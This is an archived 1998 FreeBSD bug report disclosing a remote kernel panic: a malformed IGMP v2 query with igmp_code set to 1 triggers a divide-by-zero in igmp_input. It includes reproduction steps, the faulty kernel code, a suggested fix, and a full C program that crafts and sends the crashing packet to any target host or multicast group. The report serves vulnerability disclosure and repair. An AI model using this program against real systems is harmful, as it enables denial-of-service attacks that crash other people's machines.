Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 6 Dec 1998 19:30:26 +0100 (MET)
From:      Jean-Luc Richier <Jean-Luc.Richier@imag.fr>
To:        FreeBSD-gnats-submit@FreeBSD.ORG
Cc:        Jean-Luc.Richier@imag.fr, dupont@inria.fr
Subject:   kern/8990: Can cause remote panics
Message-ID:  <199812061830.TAA22239@horus.imag.fr>

next in thread | raw e-mail | index | archive | help

>Number:         8990
>Category:       kern
>Synopsis:       Can crash most FreeBSD system from away
>Confidential:   yes
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:
>Keywords:
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sun Dec  6 10:40:00 PST 1998
>Last-Modified:
>Originator:     Jean-Luc Richier
>Organization:
IMAG - France
>Release:        FreeBSD 3.0-RELEASE i386
>Environment:


>Description:

One can crash any FreeBSD system with active multicast listening
by sending it a incorrect IGMP packet from an other machine.
This cause a panic `divide by zero in kernel mode'
The bug in present in any FreeBSD kernel compiled with INET, from at least
2.5 to current. It is due to an error in the generic igmp V2 support.
The active multicast can be either a multicast session, or
a running routed -s daemon (due to router discovery and RIP v2)
This allows an active denial of service attack against systems.

>How-To-Repeat:

1/ Take a machine listening to mulicast : either run `routed -s', or
subscribe to a multicast group (using mtest, for exemple)

2/ Send the following IGMP packet to this machine :
   type = IGMP
   igmp_type = 0x11 (QUERY)
   igmp_code = 1 (igmp v2 timeout 1/10 s)  <<<-- THE BUG
   igmp_cksum =  0xeefe (normal value)
   igmp_group = 0 (normal value)

This packet can be sent using multicast (except for the igmp_code value, it is
a normal mrouted packet), or using anycast from away. I append a modified ping
to do this.
The igmp_code value means: response delay 1/10 s, which is much too small
according to classic mrouted (normally it is 10s).

3/ On receipt the igmp_input kernel function will panic due to a divide by 0 :

->void
->igmp_input(m, iphlen)
...
->	int timer; /** timer value in the igmp query header **/
...
->	ip = mtod(m, struct ip *);
->	timer = igmp->igmp_code * PR_FASTHZ / IGMP_TIMER_SCALE;
!!!!    TIMER is 1/0, that is 0 !!!
....
->	switch (igmp->igmp_type) {
->
->	case IGMP_MEMBERSHIP_QUERY:
....
->		if (igmp->igmp_code == 0) {
....
->		} else {
->			/*
->			 * New router.  Simply do the new validity check.
->			 */
....
->		IN_FIRST_MULTI(step, inm);
->		while (inm != NULL) {
!!! there is muticast groups
->			if (inm->inm_ifp == ifp &&
->			    inm->inm_addr.s_addr != igmp_all_hosts_group &&
->			    (igmp->igmp_group.s_addr == 0 ||
->			     igmp->igmp_group.s_addr == inm->inm_addr.s_addr)) {
->				if (inm->inm_timer == 0 ||
->				    inm->inm_timer > timer) {
->					inm->inm_timer =
->						IGMP_RANDOM_DELAY(timer);
!!!!!!!!!!  that is,  ((random() % 0) +1), a divide by 0 panic
->					igmp_timers_are_running = 1;

   
>Fix:

One can add a check that the igmp_code value is big enough (is too small
an error ??) or add a test `if (timer == 0) timer = 1; ''

Notes
1/ This error is present in the generic ipmulti code (cf mrouted
distribution on parcftp.xerox.com).
The bug is also present in NetBSD, and certainly other systems.

2/ This but has been detected a few days ago in the equivalent IPv6 code
during interoperability testings and the corresponding panic has been
signaled in ipng mailing lists.

------------  Program to send the igmp packet ---------
---- use `a.out machine' or `a.out 224.0.0.1' or `a.out mult_group'
/* derived for ping.c  */
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <err.h>
#ifdef sgi
#include <bstring.h>
#include <getopt.h>
#include <sys/prctl.h>
#endif

#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <netdb.h>

#define F_SOURCE_ROUTE	0x0020		/* loose source route */
#define F_SOURCE_ADDR	0x0800		/* set source IP address/interface */
#define F_MCAST		0x2000		/* multicast target */
#define F_MCAST_NOLOOP	0x4000		/* no multicast loopback */

u_char	*packet;
int	packlen;
int	pingflags = 0;
char	*fill_pat;

int s;					/* Socket file descriptor */

struct sockaddr_in whereto, send_addr;	/* Who to ping */
struct sockaddr_in src_addr;		/* from where */
struct sockaddr_in loc_addr;		/* 127.1 */
int datalen;		/* How much data */

#ifdef sgi
static char *__progname;
#else
extern char *__progname;
#endif


char hostname[MAXHOSTNAMELEN];

static struct {
	struct ip	o_ip;
	struct icmp	u_icmp;
} out_pack;
struct ip *opack_ip;
#define	opack_icmp	out_pack.u_icmp

static void pinger(void);
static u_short in_cksum(u_short *, u_int);
static void gethost(const char *, const char *,
		    struct sockaddr_in *, char *, int);
static void usage(void);

int
main(int argc, char *argv[])
{
	int c, i, on = 1;
	int  cc, sw;
	long l;
	u_char ttl = 0;
	char *p;

	while ((c = getopt(argc, argv, "I:T:")) != -1) {
		switch (c) {
		case 'T':
			l = strtol(optarg, &p, 0);
			if (*p != '\0' || l > 255 || l <= 0)
				errx(1, "ttl out of range");
			ttl = (u_char)l;    /* cannot check >255 otherwise */
			break;
		case 'I':
			pingflags |= F_SOURCE_ADDR;
			gethost("-I", optarg, &src_addr, 0, 0);
			break;
		default:
			usage();
			break;
		}
	}

	if (optind != argc-1)
		usage();

	gethost("", argv[optind], &whereto, hostname, sizeof(hostname));
	if (IN_MULTICAST(ntohl(whereto.sin_addr.s_addr)))
		pingflags |= F_MCAST;
	if (!(pingflags & F_SOURCE_ROUTE))
		(void) memcpy(&send_addr, &whereto, sizeof(send_addr));

	loc_addr.sin_family = AF_INET;
	loc_addr.sin_addr.s_addr = htonl((127<<24)+1);

	packlen = datalen + 60 + 76;	/* MAXIP + MAXICMP */
	if ((packet = (u_char *)malloc(packlen)) == NULL)
		err(1, "Out of memory");

	if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)) < 0)
		err(1, "Cannot create socket");

	/* this leaves opack_ip 0(mod 4) aligned */
	opack_ip = &out_pack.o_ip;

	if (setsockopt(s,IPPROTO_IP,IP_HDRINCL, (char *) &on, sizeof(on)) < 0)
		err(1, "Can't set special IP header");

	opack_ip->ip_v = IPVERSION;
	opack_ip->ip_hl = (sizeof(struct ip)) >> 2;
	opack_ip->ip_tos = 0;
	opack_ip->ip_off = 0;
	opack_ip->ip_ttl = ttl ? ttl : MAXTTL;
	opack_ip->ip_p = IPPROTO_IGMP;
	opack_ip->ip_src = src_addr.sin_addr;
	opack_ip->ip_dst = send_addr.sin_addr;

	if (pingflags & F_MCAST) {
		if (pingflags & F_MCAST_NOLOOP) {
			u_char loop = 0;
			if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_LOOP,
			    (char *) &loop, 1) < 0)
				err(1, "Can't disable multicast loopback");
		}

		if (ttl != 0
		    && setsockopt(s, IPPROTO_IP, IP_MULTICAST_TTL,
		    (char *) &ttl, 1) < 0)
			err(1, "Can't set multicast time-to-live");

		if ((pingflags & F_SOURCE_ADDR)
		    && setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF,
				  (char *) &src_addr.sin_addr,
				  sizeof(src_addr.sin_addr)) < 0)
			err(1, "Can't set multicast source interface");

	} else if (pingflags & F_SOURCE_ADDR) {
		if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF,
			       (char *) &src_addr.sin_addr,
			       sizeof(src_addr.sin_addr)) < 0)
			err(1, "Can't set source interface/address");
	}

	opack_icmp.icmp_code = 1;	/* !!! */

	opack_icmp.icmp_type = 0x11;
	for (i = 0; i < 4; i++)
		opack_icmp.icmp_data[i] = 0;
	cc = 8;
	opack_icmp.icmp_cksum = 0;
	opack_icmp.icmp_cksum = in_cksum((u_short*)&opack_icmp, cc);

	cc += opack_ip->ip_hl<<2;
	opack_ip->ip_len = cc;
	i = sendto(s, (char *) opack_ip, cc, 0,
		   (struct sockaddr *)&send_addr, sizeof(struct sockaddr_in));
	if (i != cc) {
		if (i < 0)
			warn("sendto");
		else
			warnx("wrote %s %d chars, ret=%d", hostname, cc, i);
		(void)fflush(stderr);
	}
}


/* Compute the IP checksum
 *	This assumes the packet is less than 32K long.
 */
static u_short
in_cksum(u_short *p,
	 u_int len)
{
	u_int sum = 0;
	int nwords = len >> 1;

	while (nwords-- != 0)
		sum += *p++;

	if (len & 1) {
		union {
			u_short w;
			u_char c[2];
		} u;
		u.c[0] = *(u_char *)p;
		u.c[1] = 0;
		sum += u.w;
	}

	/* end-around-carry */
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (~sum);
}

static void
gethost(const char *arg,
	const char *name,
	struct sockaddr_in *sa,
	char *realname,
	int realname_len)
{
	struct hostent *hp;

	(void)memset(sa, 0, sizeof(*sa));
	sa->sin_family = AF_INET;

	if (inet_aton(name, &sa->sin_addr) != 0) {
		return;
	}
	
	hp = gethostbyname(name);
	if (!hp)
		errx(1, "Cannot resolve \"%s\" (%s)",name,hstrerror(h_errno));

	if (hp->h_addrtype != AF_INET)
		errx(1, "%s only supported with IP", arg);

	(void)memmove(&sa->sin_addr, hp->h_addr, sizeof(sa->sin_addr));
}


static void
usage(void)
{
	(void)fprintf(stderr, "Usage: \n"
		      "%s [-T ttl] [-I addr] host\n",
		      __progname);
	exit(1);
}

-- 
Jean-Luc RICHIER (Jean-Luc.Richier@Imag.Fr  richier@imag.fr)
Laboratoire Logiciels, Systemes et Reseaux (LSR-IMAG)
IMAG-CAMPUS, BP 72, F-38402 St Martin d'Heres Cedex
Tel : +33 4 76 82 72 32 Fax : +33 4 76 82 72 87
>Audit-Trail:
>Unformatted:

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199812061830.TAA22239>